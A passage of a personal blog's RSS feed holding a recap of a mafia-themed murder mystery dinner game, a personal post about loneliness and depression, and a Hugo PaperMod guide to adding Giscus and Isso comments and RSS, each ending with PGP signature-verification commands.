    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
    + + Sadness + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/ + Fri, 24 Oct 2025 12:48:31 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/ + <p>Honestly, I don&rsquo;t know why I&rsquo;m doing any of this. I really don&rsquo;t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let&rsquo;s say abused if you will, and then thrown away. +Just like a piece of trash. +It&rsquo;s been hurting more and more. +I&rsquo;ve been lying to myself that I don&rsquo;t care. +That I&rsquo;ve moved on.</p> + Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

    +

    I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

    +

    It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

    +

    I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

    +

    The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

    +

    Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

    +

    I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

    +

    Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

    +

    Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

    +

    Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

    +

    I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

    +

    Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

    +

    I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

    +

    … — …

    +

    … — … … — … … — …

    +

    … — …

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
    +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
    +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
    +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
    +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
    +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
    +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
    +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
    +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
    +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
    +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
    +=VEwz
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md.asc
    +gpg --verify sadness.md.asc sadness.md
    +  
    +
    + + +]]>
    +
    + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
